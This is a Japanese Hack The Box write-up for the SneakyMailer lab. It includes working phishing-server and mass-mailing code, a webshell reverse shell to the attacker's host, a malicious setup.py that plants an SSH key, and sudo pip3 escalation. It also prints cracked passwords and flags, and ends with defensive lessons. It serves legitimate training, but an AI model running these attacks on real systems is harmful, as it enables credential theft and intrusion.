Hack The BoxのWriteup(SneakyMailer)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: SneakyMailer — 全実行コマンド・実行結果レポート
Nmap スキャン
21/22/25/80/143/993/8080
team.php
従業員メール57件収集
register.php クローン
資格情報キャプチャサーバ設置
フィッシングメール一斉送信
単一SMTPセッション
paulbyrd資格情報捕捉
ボットが自動登録
IMAP Sent Items
developer FTP資格情報漏洩
FTP webshellアップロード
user.txt(low)へ SSH ✓
.htpasswdクラック
PyPI資格情報奪取
悪意setup.py配布
low authorized_keys書込
sudo pip3 GTFOBins
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.2.28
nmap -Pn -sV -sC -p 21,22,25,80,143,993,8080 10.129.2.28
RESULT
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2
25/tcp   open  smtp     Postfix smtpd
80/tcp   open  http     nginx
143/tcp  open  imap     Courier Imapd
993/tcp  open  ssl/imap Courier Imapd
8080/tcp open  http-proxy
ℹ️
メール関連サービス(SMTP/IMAP/IMAPS)が並んでおり、フィッシング攻撃を 主軸にしたマシンであることが伺える。8080番はPyPIサーバーへのリバースプロキシ。
BASH
curl -sI http://10.129.2.28/
# → Location: http://sneakycorp.htb
echo "10.129.2.28 sneakycorp.htb" | sudo tee -a /etc/hosts
PHASE 2

team.php からの従業員メールアドレス収集

Webサイト調査 & team.php

BASH
curl -s http://sneakycorp.htb/team.php
RESULT (抜粋)
Name: Airi Satou       Position: Accountant   Email: airisatou@sneakymailer.htb
Name: Angelica Ramos   Position: CEO          Email: angelicaramos@sneakymailer.htb
Name: Paul Byrd        Position: Manager      Email: paulbyrd@sneakymailer.htb
... (計57名)
🚨
重要な注意点: Webサイトのドメインはsneakycorp.htbだが、 従業員メールのドメインは別物のsneakymailer.htb。 SMTP/IMAPへの接続はメールドメイン側で行う必要がある。
BASH
# SMTPのVRFYコマンド/RCPT TOでメールアドレスの実在確認も可能
smtp-user-enum -M RCPT -U emails.txt -D sneakymailer.htb -t 10.129.2.28

/pypi/register.php の発見

BASH
gobuster dir -u http://sneakycorp.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
RESULT
/team.php    (Status: 200)
/vendor      (Status: 301)
/pypi        (Status: 301)
→ /pypi/register.php (Status: 200) — アカウント登録フォーム(email/password)
ℹ️
社内PyPIサーバー用のアカウント登録フォームが公開Webサイト上に存在する。 このフォームをクローンしてフィッシングページに転用する。
PHASE 3

フィッシング攻撃 — register.php クローン & 資格情報捕捉

資格情報キャプチャサーバの構築

PYTHON
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse, urllib.request

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        # register.php のクローンHTMLをそのまま返す
        self.send_response(200); self.end_headers()
        self.wfile.write(open("register_clone.html","rb").read())

    def do_POST(self):
        length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(length).decode()
        form = urllib.parse.parse_qs(body)
        email = form.get("email", [""])[0]
        password = form.get("password", [""])[0]
        print(f"[+] 捕捉: {email}:{password}")
        # 本物のregister.phpへも転送しボットに違和感を与えない
        urllib.request.urlopen(urllib.request.Request(
            "http://sneakycorp.htb/pypi/register.php", data=body.encode(), method="POST"))
        self.send_response(302)
        self.send_header("Location", "http://sneakycorp.htb/")
        self.end_headers()

HTTPServer(("0.0.0.0", 18000), Handler).serve_forever()

全従業員へのフィッシングメール送信(単一SMTP接続で一括送信)

NOTE
ハマりどころ: 当初 swaks で1人ずつ(=57回)別接続として送信を試みたが、
2通目以降の接続が軒並みタイムアウトし、全体で約19分を空費して失敗した。
原因を調査したところ、これは過負荷や障害ではなくPostfixのpostscreenが
新規クライアントに課す「greet delay」(バナー送出後、実際のプロトコル
応答をわざと約20秒遅延させる仕組み)であることが判明。timeoutを90秒に
延ばして再試行すると、接続確立に約20.5秒かかった後は正常に応答が返った。
つまり接続のたびに約20秒の"税"を払う必要があり、57回の接続では単純計算で
約19分に達してしまう。

この問題を回避するため、swaksで宛先ごとに新規接続する代わりに、
単一の持続的なSMTP接続に乗せて全宛先へ連続送信する方式に変更した
(公式ウォークスルーで示されている生netcat経由でMAIL FROM/RCPT TO/DATAを
連続してパイプ入力する方式と同じ考え方)。これにより20秒の税を
57回ではなく1回だけ払えばよくなる。
PYTHON
import smtplib

phishing_url = "http://10.10.15.200:18000/pypi/register.php"
# timeoutは greet delay(約20秒)を確実に超える余裕を持たせる
smtp = smtplib.SMTP("10.129.2.28", 25, timeout=45)

for email in employee_emails:  # 57件
    msg = (
        f"From: support@sneakymailer.htb\r\n"
        f"To: {email}\r\n"
        f"Subject: Register in the portal\r\n"
        f"\r\n{phishing_url}\r\n"
    )
    smtp.sendmail("support@sneakymailer.htb", [email], msg)
smtp.quit()
RESULT
57/57 件へフィッシングメール送信完了 (単一SMTPセッション、送信自体は数秒で完了)
資格情報捕捉成功 (送信から約1分後):
paulbyrd@sneakymailer.htb : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
Paul Byrd のブラウザ(自動化ボット)がメール本文のリンクを開き、そのまま フィッシングページの登録フォームに実際の認証情報を入力してしまった。
PHASE 4

IMAP経由の横展開 & FTP webshellアップロード

IMAPでpaulbyrdとしてログインしSent Itemsを確認

PYTHON
import imaplib, re

conn = imaplib.IMAP4_SSL("10.129.2.28", 993)
conn.login("paulbyrd", "^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht")
conn.select('"Sent Items"', readonly=True)
_, data = conn.search(None, "ALL")
for msg_id in data[0].split():
    _, msg = conn.fetch(msg_id, "(RFC822)")
    body = msg[0][1].decode(errors="replace")
    print(body)
RESULT (パスワードリセットメール)
From: Paul Byrd <paulbyrd@sneakymailer.htb>
To: root <root@debian>
Subject: Password reset

Hello administrator,
I want to change this password for the developer account
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it
developer の平文パスワードが漏洩。もう1通、 「lowユーザーがPyPI上の全パッケージをインストール・テスト・削除する タスクを担当している」という業務連絡メールも確認でき、後の権限昇格 フェーズで重要な手掛かりとなる。

FTPで developer ログイン & PHP webshellアップロード

BASH
ftp 10.129.2.28
Name: developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
ftp> dir -a
RESULT
drwxrwxr-x 8 0 1001 4096 dev
(dev配下に index.php, team.php, pypi/, vendor/ 等 — sneakycorp.htbのwebroot)
BASH
ftp> cd dev
ftp> put shell.php
# gobuster vhost / ffuf で dev.sneakycorp.htb を発見・hostsに追加後
curl http://dev.sneakycorp.htb/shell.php
RESULT (リスナー側)
$ nc -lnvp 18001
connect to [10.10.15.200] from (UNKNOWN) [10.129.2.28] 39862
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data シェル取得成功。 FTPアップロード先のディレクトリは dev.sneakycorp.htbという別バーチャルホストのwebrootだった。
PHASE 5

PyPI認証情報の奪取 & user.txt取得への布石

pypi.sneakycorp.htb の .htpasswd 取得・クラック

BASH
# www-data シェルから
cat /var/www/pypi.sneakycorp.htb/.htpasswd
RESULT
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
BASH
hashcat -a 0 -m 1600 pypi.hash /usr/share/wordlists/rockyou.txt
RESULT
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui
PyPI管理者資格情報取得: pypi:soufianeelhaoui。 これで社内PyPIサーバー(pypi.sneakycorp.htb:8080)へパッケージを アップロードできるようになる。
PHASE 6

悪意ある PyPI パッケージ配布 → user.txt・root.txt 取得

悪意ある setup.py の作成

NOTE
IMAPのメールから、ユーザー low が「PyPIサーバーに新しく
アップロードされたパッケージを自動でインストール・テスト・削除する」
タスクを定期実行していることが判明済み。つまり setup.py を
アップロードすれば low権限でそのPythonコードが実行される。
authorized_keysへの公開鍵書込みを仕込む。
BASH
ssh-keygen -t rsa -b 2048 -N "" -f sneakymailer_key
mkdir -p sm_pkg/sm_pkg && touch sm_pkg/sm_pkg/__init__.py
PYTHON (sm_pkg/setup.py)
import setuptools
try:
    with open('/home/low/.ssh/authorized_keys', 'a') as f:
        f.write("ssh-rsa AAAAB3N... (自分の公開鍵)\n")
except Exception:
    setuptools.setup(name='sm_pkg', packages=['sm_pkg'])

ハマりどころ: 現行 setuptools には "upload" コマンドが存在しない

BASH
# 従来の(2020年当時の)手順:
python setup.py sdist upload -r remote
RESULT (現行環境での実行結果)
usage: setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]
   or: setup.py --help [cmd1 cmd2 ...]
error: invalid command 'upload'
⚠️
setuptools のバージョンによる非互換: `upload` サブコマンドは distutils/setuptoolsから既に完全に削除されている(セキュリティ上の理由で 古くに非推奨化され、その後撤去された)。しかも `sdist upload` は 1つのコマンドラインとしてまとめて解釈されるため、`upload` が 無効だと判明した時点で sdist(tarball作成)自体も実行されない。 現在は「①sdistでtarballをビルド」「②twine uploadで アップロード」という2つの独立したツール・手順に置き換わっている。
BASH
# 正しい現行手順
cd sm_pkg
HOME=$(pwd)/fake_home python3 setup.py sdist
# → dist/sm_pkg-0.0.0.tar.gz が生成される

# twine が無ければ導入 (Kaliではapt版が確実)
sudo apt-get install -y twine

cat > ~/.pypirc <<'EOF'
[distutils]
index-servers =
    remote

[remote]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
EOF

twine upload --repository-url http://pypi.sneakycorp.htb:8080 \
  -u pypi -p soufianeelhaoui dist/sm_pkg-0.0.0.tar.gz
RESULT
Uploading distributions to http://pypi.sneakycorp.htb:8080
Uploading sm_pkg-0.0.0.tar.gz
100% ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.3/2.3 kB

low の pip install ボット処理待ち → SSH → user.txt

BASH
# アップロード後、数秒〜十数秒でlowユーザーの定期処理が
# パッケージを取得しsetup.pyを実行、公開鍵がauthorized_keysに反映される
ssh -i sneakymailer_key low@10.129.2.28 id
RESULT
uid=1000(low) gid=1000(low) groups=1000(low),...,119(pypi-pkg)
BASH
ssh -i sneakymailer_key low@10.129.2.28 "cat ~/user.txt"
RESULT
a6a9cd8e48ba693fb2ae2fe84bab753b
user.txt — low
a6a9cd8e48ba693fb2ae2fe84bab753b

sudo -l 確認 & GTFOBins (pip3) で root 昇格

BASH
low@sneakymailer:~$ sudo -l
RESULT
User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3
BASH
TF=$(mktemp -d)
echo "import os; os.system('cat /root/root.txt')" > $TF/setup.py
sudo /usr/bin/pip3 install $TF
RESULT
Processing /tmp/tmp.XXXXXXXXXX
b407d44613fed106ea3ca3920c3e5d42
root.txt — Administrator@sneakymailer
b407d44613fed106ea3ca3920c3e5d42
pip3 installはインストール対象パッケージのsetup.pyを 必ず実行するため、GTFOBinsに掲載されている典型的な悪用パターン。 sudoでpip3が無制限に許可されている時点で事実上rootと同等の権限。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — low
a6a9cd8e48ba693fb2ae2fe84bab753b
root.txt — Administrator@sneakymailer
b407d44613fed106ea3ca3920c3e5d42

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
フォームクローンによるフィッシング pypi/register.php 従業員資格情報の窃取 Medium 実フォームをクローンし攻撃者サーバーで受信、実サイトへも転送してボット/従業員に気付かれず捕捉
メール送信内容の平文パスワード記載 IMAP Sent Items (パスワードリセット依頼メール) 横展開 (paulbyrd→developer) High 管理者への依頼メールに新パスワードを平文で記載し送信、Sent Itemsに残存
FTPアップロード可能なWebroot vsftpd / dev.sneakycorp.htb RCE (www-data) Medium developerがWeb公開ディレクトリへの書込権限を持ち、PHP webshellを直接配置可能
パッケージインストール時の任意コード実行 (setup.py) 社内PyPIサーバー & low の自動処理スクリプト 権限昇格 (www-data→low) Critical 新規アップロードパッケージを自動でpip installするボットに対し悪意setup.pyを配布
危険な sudo 許可 (pip3) /usr/bin/pip3 NOPASSWD 権限昇格 (low→root) Critical GTFOBins記載の通り、pip installは任意setup.pyを実行するためroot権限コマンド実行に直結

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapSMTP/IMAP/FTP/PyPI構成を確認
2メール収集team.php + smtp-user-enum従業員メール57件
3フィッシングregister.phpクローン+単一SMTP接続一括送信paulbyrd資格情報
4横展開IMAP Sent Items+FTP webshelldeveloper資格情報→www-data RCE
5資格情報奪取.htpasswdクラックPyPI管理者資格情報
6権限昇格悪意setup.py配布+GTFOBins pip3user.txt(low)+root.txt

学んだ教訓 & 防御策

問題点防御策
アカウント登録フォームがクローン可能な形で公開Web上に存在し、従業員が疑わずクリック・入力してしまう 従業員向けセキュリティ教育の徹底、外部リンクに対する警告表示、フィッシング耐性MFA(FIDO2等)の導入。
パスワードリセット依頼を平文メールで送信し、Sent Itemsに永続的に残る パスワードを直接メール送信せず、時限式のワンタイムリンク経由でリセットさせる。
FTPアカウントがWeb公開ディレクトリへの書込権限を持つ FTPのアップロード先とWeb公開ディレクトリを分離し、アップロードされたファイルの拡張子・内容を検証する。
信頼できないソースからのPythonパッケージを無条件に自動インストール 社内PyPIへのパッケージ公開に承認フローを設け、サンドボックス環境でのみ自動テストを実行する。
NOPASSWD sudoでpip3のような任意コード実行が可能なツールを許可 sudoの許可対象を必要最小限のコマンド・引数に限定し、GTFOBinsで悪用可能性を事前確認する。

補足: 環境固有のハマりどころ2点

⚠️
(1) Postfix postscreen の greet delay: 新規クライアントからの SMTP接続はバナー送出後、実プロトコル応答が約20秒意図的に遅延される。 宛先ごとに新規接続を張る方式(swaks等)だと接続数×20秒の累積遅延で 全体が破綻しうる。単一の持続接続に全送信をまとめることで回避できる。

(2) setuptools の upload コマンド撤去: 2020年頃の解説記事にある python setup.py sdist upload -r remoteは現行のsetuptools (v58以降)ではuploadコマンド自体が存在せず即座にエラーになる (sdistすら実行されない)。sdistでのビルドとtwine upload でのアップロードを別々の手順として実行する必要がある。
HackTheBox: SneakyMailer | 完全攻略レポート